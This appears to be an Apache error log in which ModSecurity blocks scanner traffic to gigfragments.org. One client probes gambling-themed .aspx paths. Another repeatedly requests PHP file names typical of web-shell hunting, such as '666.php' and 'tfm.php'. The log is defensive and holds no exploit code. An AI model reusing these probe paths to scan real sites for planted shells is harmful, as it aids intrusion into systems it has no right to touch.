[Sun Feb 22 20:13:25.570106 2026] [:error] [pid 2761:tid 2801] [client 193.70.46.175:39528] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aZry5ehqrjPiLXyA0f21KAAAAEo"]
[Sun Feb 22 20:13:27.580576 2026] [:error] [pid 3183:tid 3217] [client 193.70.46.175:39538] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aZry5x_OBrCiPf5qSt2kZQAAARM"]
[Sun Feb 22 20:14:01.739292 2026] [:error] [pid 3183:tid 3199] [client 193.70.46.175:39542] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aZrzCR_OBrCiPf5qSt2k1gAAAQE"]
[Sun Feb 22 20:14:03.696501 2026] [:error] [pid 2762:tid 2831] [client 193.70.46.175:56584] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aZrzC30XaxeZ1xx2EW9hBAAAAI0"]
[Sun Feb 22 20:14:05.726046 2026] [:error] [pid 2875:tid 2886] [client 193.70.46.175:56596] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aZrzDaq7FNBXTtjnNQxtuQAAAMk"]
[Sun Feb 22 20:14:07.737700 2026] [:error] [pid 2760:tid 2777] [client 193.70.46.175:56602] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aZrzD77Njw90g02i9Rl1LQAAAA0"]
[Sun Feb 22 20:14:09.660880 2026] [:error] [pid 2760:tid 2786] [client 193.70.46.175:56612] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aZrzEb7Njw90g02i9Rl1MgAAABY"]
[Sun Feb 22 20:14:11.744927 2026] [:error] [pid 2760:tid 2783] [client 193.70.46.175:56616] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aZrzE77Njw90g02i9Rl1PgAAABM"]
[Sun Feb 22 20:14:13.738775 2026] [:error] [pid 2760:tid 2782] [client 193.70.46.175:35678] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aZrzFb7Njw90g02i9Rl1RwAAABI"]
[Sun Feb 22 20:14:15.738130 2026] [:error] [pid 3183:tid 3210] [client 193.70.46.175:35680] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aZrzFx_OBrCiPf5qSt2k9QAAAQw"]
[Sun Feb 22 20:14:17.768819 2026] [:error] [pid 3183:tid 3217] [client 193.70.46.175:35688] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aZrzGR_OBrCiPf5qSt2lAAAAARM"]
[Sun Feb 22 20:14:19.773790 2026] [:error] [pid 2762:tid 2827] [client 193.70.46.175:35700] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aZrzG30XaxeZ1xx2EW9hEwAAAIk"]
[Sun Feb 22 20:14:21.789502 2026] [:error] [pid 3183:tid 3220] [client 193.70.46.175:35714] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aZrzHR_OBrCiPf5qSt2lDAAAARY"]
[Sun Feb 22 20:14:23.819929 2026] [:error] [pid 2875:tid 2892] [client 193.70.46.175:47770] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aZrzH6q7FNBXTtjnNQxtzAAAAM8"]
[Sun Feb 22 20:14:25.791062 2026] [:error] [pid 2762:tid 2838] [client 193.70.46.175:47786] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aZrzIX0XaxeZ1xx2EW9hHQAAAJQ"]
[Sun Feb 22 20:14:27.648917 2026] [:error] [pid 3183:tid 3207] [client 193.70.46.175:47796] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aZrzIx_OBrCiPf5qSt2lGwAAAQk"]
[Sun Feb 22 20:14:29.699130 2026] [:error] [pid 2761:tid 2820] [client 193.70.46.175:47800] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aZrzJehqrjPiLXyA0f21gQAAAFg"]
[Sun Feb 22 20:14:31.693165 2026] [:error] [pid 2760:tid 2778] [client 193.70.46.175:47804] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aZrzJ77Njw90g02i9Rl1ZQAAAA4"]
[Sun Feb 22 20:14:33.664477 2026] [:error] [pid 2875:tid 2877] [client 193.70.46.175:42138] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aZrzKaq7FNBXTtjnNQxt3QAAAMA"]
[Sun Feb 22 20:14:35.669597 2026] [:error] [pid 2761:tid 2809] [client 193.70.46.175:42142] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aZrzK-hqrjPiLXyA0f21iwAAAFA"]
[Sun Feb 22 20:14:37.708963 2026] [:error] [pid 2875:tid 2893] [client 193.70.46.175:42152] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aZrzLaq7FNBXTtjnNQxt5AAAANA"]
[Sun Feb 22 20:14:39.704472 2026] [:error] [pid 2762:tid 2840] [client 193.70.46.175:42154] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aZrzL30XaxeZ1xx2EW9hSwAAAJY"]
[Sun Feb 22 20:14:41.648219 2026] [:error] [pid 3183:tid 3204] [client 193.70.46.175:42162] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aZrzMR_OBrCiPf5qSt2lVAAAAQY"]
[Sun Feb 22 20:14:43.712474 2026] [:error] [pid 3183:tid 3210] [client 193.70.46.175:60294] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aZrzMx_OBrCiPf5qSt2lWQAAAQw"]
[Sun Feb 22 20:14:45.715662 2026] [:error] [pid 2760:tid 2785] [client 193.70.46.175:60298] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aZrzNb7Njw90g02i9Rl1eAAAABU"]
[Sun Feb 22 20:14:47.742632 2026] [:error] [pid 2875:tid 2889] [client 193.70.46.175:60302] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aZrzN6q7FNBXTtjnNQxt8wAAAMw"]
[Sun Feb 22 20:14:49.733754 2026] [:error] [pid 2762:tid 2825] [client 193.70.46.175:60314] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aZrzOX0XaxeZ1xx2EW9haAAAAIc"]
[Sun Feb 22 20:14:51.747523 2026] [:error] [pid 2760:tid 2776] [client 193.70.46.175:60322] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aZrzO77Njw90g02i9Rl1gwAAAAw"]
[Sun Feb 22 20:14:53.755793 2026] [:error] [pid 3183:tid 3220] [client 193.70.46.175:52952] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aZrzPR_OBrCiPf5qSt2lbAAAARY"]
[Sun Feb 22 20:14:55.776126 2026] [:error] [pid 2875:tid 2878] [client 193.70.46.175:52960] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "aZrzP6q7FNBXTtjnNQxuAQAAAME"]
[Sun Feb 22 20:14:57.757754 2026] [:error] [pid 2762:tid 2841] [client 193.70.46.175:52974] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aZrzQX0XaxeZ1xx2EW9hiwAAAJc"]
[Sun Feb 22 21:45:40.169372 2026] [proxy:error] [pid 2475:tid 2488] (2)No such file or directory: AH02454: FCGI: attempt to connect to Unix domain socket /opt/alt/php-fpm74/usr/var/sockets/gigfrag.sock (localhost:8000) failed
[Sun Feb 22 21:45:40.169480 2026] [proxy_fcgi:error] [pid 2475:tid 2488] [client 106.127.142.247:22463] AH01079: failed to make connection to backend: localhost
[Sun Feb 22 23:17:11.815252 2026] [:error] [pid 2475:tid 2563] [client 158.158.123.50:46456] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit-tags.php"] [unique_id "aZsd9ydme8TSKYpXujdnWgAAAJc"]
[Sun Feb 22 23:17:13.174262 2026] [:error] [pid 2628:tid 2651] [client 158.158.123.50:37945] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit-tags.php"] [unique_id "aZsd-bK4woMTeUPH2nsyAAAAARQ"]
[Sun Feb 22 23:17:15.515983 2026] [:error] [pid 2473:tid 2485] [client 158.158.123.50:55548] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit-tags.php"] [unique_id "aZsd-3ptAeV7-XzzNzgyiAAAAAg"]
[Sun Feb 22 23:17:16.888577 2026] [:error] [pid 3103:tid 3124] [client 158.158.123.50:28785] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit-tags.php"] [unique_id "aZsd_JfzX5hBIaQY93N1lgAAAZI"]
[Sun Feb 22 23:17:18.615590 2026] [:error] [pid 2474:tid 2528] [client 158.158.123.50:37947] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inege.php"] [unique_id "aZsd_vhvE7P5hX_xKnSvdwAAAEw"]
[Sun Feb 22 23:17:19.203973 2026] [:error] [pid 2574:tid 2582] [client 158.158.123.50:55425] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inege.php"] [unique_id "aZsd_8kPV7h4nTf-jiTdhwAAAME"]
[Sun Feb 22 23:17:19.752217 2026] [:error] [pid 2574:tid 2590] [client 158.158.123.50:37052] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inege.php"] [unique_id "aZsd_8kPV7h4nTf-jiTdiAAAAMk"]
[Sun Feb 22 23:17:20.230427 2026] [:error] [pid 2574:tid 2587] [client 158.158.123.50:55253] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inege.php"] [unique_id "aZseAMkPV7h4nTf-jiTdiQAAAMY"]
[Sun Feb 22 23:17:20.970220 2026] [:error] [pid 2475:tid 2554] [client 158.158.123.50:37019] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tfm.php"] [unique_id "aZseACdme8TSKYpXujdnYwAAAI4"]
[Sun Feb 22 23:17:21.487931 2026] [:error] [pid 2628:tid 2640] [client 158.158.123.50:55470] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tfm.php"] [unique_id "aZseAbK4woMTeUPH2nsyBgAAAQk"]
[Sun Feb 22 23:17:21.997148 2026] [:error] [pid 2574:tid 2594] [client 158.158.123.50:46436] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tfm.php"] [unique_id "aZseAckPV7h4nTf-jiTdjQAAAM0"]
[Sun Feb 22 23:17:22.697475 2026] [:error] [pid 2474:tid 2509] [client 158.158.123.50:55248] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tfm.php"] [unique_id "aZseAvhvE7P5hX_xKnSveQAAAEA"]
[Sun Feb 22 23:17:23.274844 2026] [:error] [pid 2474:tid 2515] [client 158.158.123.50:55496] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/callback.php"] [unique_id "aZseA_hvE7P5hX_xKnSvfAAAAEY"]
[Sun Feb 22 23:17:24.191844 2026] [:error] [pid 2574:tid 2595] [client 158.158.123.50:32266] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/callback.php"] [unique_id "aZseBMkPV7h4nTf-jiTdkAAAAM4"]
[Sun Feb 22 23:17:24.817770 2026] [:error] [pid 2628:tid 2646] [client 158.158.123.50:28796] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/callback.php"] [unique_id "aZseBLK4woMTeUPH2nsyDgAAAQ8"]
[Sun Feb 22 23:17:25.578546 2026] [:error] [pid 3103:tid 3115] [client 158.158.123.50:55280] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/callback.php"] [unique_id "aZseBZfzX5hBIaQY93N1pAAAAYk"]
[Sun Feb 22 23:17:26.714255 2026] [:error] [pid 2475:tid 2563] [client 158.158.123.50:32269] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "aZseBidme8TSKYpXujdnZgAAAJc"]
[Sun Feb 22 23:17:27.531688 2026] [:error] [pid 3103:tid 3107] [client 158.158.123.50:37000] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "aZseB5fzX5hBIaQY93N1qAAAAYE"]
[Sun Feb 22 23:17:28.596479 2026] [:error] [pid 2473:tid 2480] [client 158.158.123.50:38405] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "aZseCHptAeV7-XzzNzgyjwAAAAM"]
[Sun Feb 22 23:17:29.427516 2026] [:error] [pid 2629:tid 2674] [client 158.158.123.50:37028] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "aZseCQlsXSV5M4mfwZ9QbgAAAVA"]
[Sun Feb 22 23:17:29.978864 2026] [:error] [pid 2475:tid 2551] [client 158.158.123.50:26307] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/apk.php"] [unique_id "aZseCSdme8TSKYpXujdnbAAAAIs"]
[Sun Feb 22 23:17:30.515077 2026] [:error] [pid 2628:tid 2654] [client 158.158.123.50:38451] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/apk.php"] [unique_id "aZseCrK4woMTeUPH2nsyKAAAARc"]
[Sun Feb 22 23:17:31.329074 2026] [:error] [pid 2473:tid 2479] [client 158.158.123.50:28776] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/apk.php"] [unique_id "aZseC3ptAeV7-XzzNzgylAAAAAI"]
[Sun Feb 22 23:17:31.942990 2026] [:error] [pid 2628:tid 2639] [client 158.158.123.50:55287] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/apk.php"] [unique_id "aZseC7K4woMTeUPH2nsyLgAAAQg"]
